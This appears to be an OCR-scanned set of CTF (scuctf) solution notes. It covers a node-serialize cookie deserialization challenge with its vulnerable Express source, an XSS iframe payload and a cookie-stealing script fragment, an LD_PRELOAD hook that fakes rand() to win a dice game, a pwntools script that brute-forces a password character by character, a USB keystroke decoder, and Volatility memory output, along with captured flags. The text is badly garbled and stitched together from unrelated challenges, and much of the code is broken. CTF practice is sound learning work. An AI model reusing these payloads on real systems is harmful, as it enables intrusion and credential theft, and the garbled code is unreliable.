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GET felicli/ HTTP/M 1

Accept: textihtml, applicationfhtmi+eaml, imagefxr,

Accept-Language: zh-Hans-CN zh-Hans;g=0.8 en-IE;g=0.5 en,q=0.3

User-Agent: Mozilla/s.0 (Windows NT 10.0; WCWES: Trident/7.0; LCTE; rv:11.0) like Gecko
Host: 47 .96.138 65:45787

DMT: 1

Cookie:

profile=ey.1c2%yhmFtZSI8ImF galW4L Clik 3V udH)SliciWSkaWEL CliaX RSloiv mFuZ2F sh3JI
%3l

Connection: close
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HTTP/ 1 302 Found

Date: Sat, 18 May 2019 08:21:50 GMT

Server, Apache/2.4.18 (Ubuntu)

Location: secret.php

Set-Cookie: flag=UONYC1RGe3low\/VagVEMIX2SIRWRTY2FyM2Z1kHO%3D) expires=Sat,
18-May-2019 08:21:50 GMT, Max-Age=0

Contert-Length: 31

Connection: close

Contert-Type: text/html, charset=UTF-&
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1 Hello ajin<!--This file is backuped at app.js.bak-->

< C O Y% [ 47.96.138.65:12000/app.js.bak

var express = require("express”);

var cookieParser = require("cookie-parser”);

var escape =require("escape-html");

var serialize = require("node-serialize");

var app = express();

app.use(coakieParser());

app.get("/",function (req, res) {

if (req.cookies.profile) {

var str = new Buffer(req.cookies.profile,"base64").toString();
var obj = serialize.unserialize(str);

if (obj.username) {

res.send("Hello " +escape(obj.username) + "<!--This file is backuped at app.js.bak--=");
}

} else {

res.cookie(

"profile”,
"ey)1c2VybmFtZSI6lmFgaW4iLCljb3VudHI5ljoiaW5skaWEiLCljaXR5ljoiYmFuZ 2Fsb3Jlin0=",{
maxAge: 900000,

httpOnly: true

}

);

}

res.send("Hello World™);

1;

app.listen(3000);
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https://www.cnblogs.com/yx20145312/p/7020206.html

FIH Node.js [ 7 LI IRZ R AT D
https://paper.seebug.org/213/

flag
scuctf{2602547F25B5C13D62F010230D917481}
& B4 ) XSS

fiFt L I8 B

Sevi Al http://120.78.185.175:5000/hachp1/love/index.php?greet=<iframe src="../">
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URL:
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ment.cookie;</script>
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Bypassing path restriction on whitelisted CDNs to circumvent CSP protections - SECT CTF Web 400 writeup | Blog - Odaylabs
https://blog.0daylabs.com/2016/09/09/bypassing-csp/

A #cdn bypass CSP - LoRexxar's Blog
https://lorexxar.cn/2017/02/16/cdn-bypass-csp/

TCTF/OCTF2018 XSS Writeup
https://paper.seebug.org/574/#h4x0rsspace
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requestinspector.com
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/* Filename: dlsym.c */
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int (*realopen)(const char *pathname, int flags);
int (*realclose)(int fd);

int rand() {
fputs("you will get 6", stderr);

return 5;



/dl1l# gcc -fpic -c -1dl dlsym.c
dll# gcc -shared -lc -o dlsym.so dlsym.o
# export LD PRELOAD= pwd "/dlsym.so"
LL# ./showme

hi all
Welcome to dice game!
You have to roll 5 dices and get 6, 6, 6, 6, 6 in order.
Press enter to roll.

you will get 6you will get 6you will get 6you will get 6you will get 6You rolled
6, 6, 6, 6, 6.

You rolled as I said! I'll give you the flag.
flag{4b54089e328eab73758825a0b40b5be6 }
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what's your name?
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cat flag » e
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from pwn import *
import string

dic=string.printable
data="scuctf{’

while 1:

p=remote('119.23.206.23',10002)

#print p.recvuntil( 'What your name?\n')
p.sendline('1")

for d in dic:

p.recvuntil('Your password :")
p.send(data+d)
recv = p.recvline()
#print recv
if 'come' in recv:
data = data +d
print data
break
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normalKeys = {"@4":"a", "@5":"b", "@6":"c", "@7":"d", "@8":"e", "@9":"f", "@a":"g", "@b":"h", "Oc":"i", "ed":"j"
, "@e":"k", "ef":"1", "10":"m", "11":"n", "12":"0o", "13":"p", "14":"g", "15":"r", "16":"s", "17":"t", "18":"u",
"19":"v", "l1la":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24"
(t7n, 25" 8", 26" 9", "27" 10", 28" ( "KRET>", "29" 1 "<KESC>", "2a" : "<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"
="y r2ft e, "30" ], 3L M\, 32 KNON> ", "33 e, 34 Y 35 e GA> ", 36 T, 3T L, 38/, 39 L "< CAP>
","3at i "KFL> ", "3b" i KF2> ™, "3 i "<KF3> ", "3d" i <FA> ", "3e " i S, "3 F T L KFE> ", M40 ( KFT7 >, AL L KF8> ", A2 L FO> ", "
43" :"<F10>","44" :"<F11>","45":"<F12>"}
shiftKeys = {"@4":"A", "o5":"B", "o@6":"C", "e@7":"D", "@8":"E", "@9":"F", "@a":"G", "eb":"H", "@c":"I", "ed":"J",
"@e":"K", "of":"L", "10":"M", "11":"N", "212":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "
19":"v", "1a":"W", "1b":"X", "1c":"Y", "1d":"z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"A" "24":
"M, 25N R Nt (", 27 )", 28" L "KRET> ", 29" : "<ESC>", "2a" : "<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+
tt2Ft e, 30, 3, 32 NON S, 33\, B4 35 T CGAS ", 36 !, BT >, 38 R, 39 L "< CAPS "
,"3a" t"<F1>","3b" "t "<F2>", "3c":"<F3>","3d":"<F4>","3e" :"<F5>","3f" :"<F6>","40" : "<F7>","41" :"<F8>","42" : "<F9>","4
3":"<F10>","44" : "<F11>","45" :"<F12>"}
output = []
keys = open('usbdata.txt')
for line in keys:
try:

if line[@]!="0"' or (line[1]!='0"' and line[1]!='2") or line[3]!='@"' or line[4]!='0' or line[9]!='0"' or 1li
ne[10]!='0" or line[12]!='0" or line[13]!='0"' or line[15]!='@"' or line[16]!='0"' or line[18]!='@"' or line[19]!='0
" or line[21]!="'0" or line[22]!='0@' or line[6:8]=="00":

continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=="2"]
else:
output += ['[unknown]']
except:

pass

keys.close()

flag=0
print(

.join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>")
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass

print ('output :' + .join(output))
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—# vnlatilit” —f prnbl@m.vmem --profile=WinXPSP2x86 clipboard

Volati

0 WinStae CF_UNICODETEXT 0x21011b ©xel2c66b8 c2N1Y3RmITdCZWMXMGE3YWQw. .
6 Winsta® CF_LOCALE 0»500(1
@ WinsSta® CF_TEXT

6 WinStae CF OEMTEXT

ings problem.vmem |grep c2ZN1Y3RmJTdCZWMx
c’NlHQPmJTd ZWMXMGE3YWQWODK2YZBINTU2MMZiYME2YTFjMTgwOGYLNEQ=
c2N1Y3RmITdCZWMXMGE3YWQwODK2YzBINTUZMmZiYmE2YTF jMTgw0OGY LNOQ=

C2N1Y3RmITdCZWMXMGE3YWQWODK2YzBINTU2MmZ

C2N1Y3RmITdCZWMXMGE3YWQWODK2YzZBLNTU2MMZiYME2YTFjMTgwOGY LNOQ=
C2N1Y3RmITdCZWMXMGE3YWQWODK2YZBLNTUZ2MMZiYME2YTFjMTgwOGYLNOQ=
C2N1Y3RmITdCZWMXMGE3YWQwODk2 L Z1YmE2YTFjMTgwOGYLNBQ=
CZN1Y3RmJ ZWMXMGE3YWQwODK2YZBINTU2MMZ1iYmME2YTFjMTgwOGYLNOQ=
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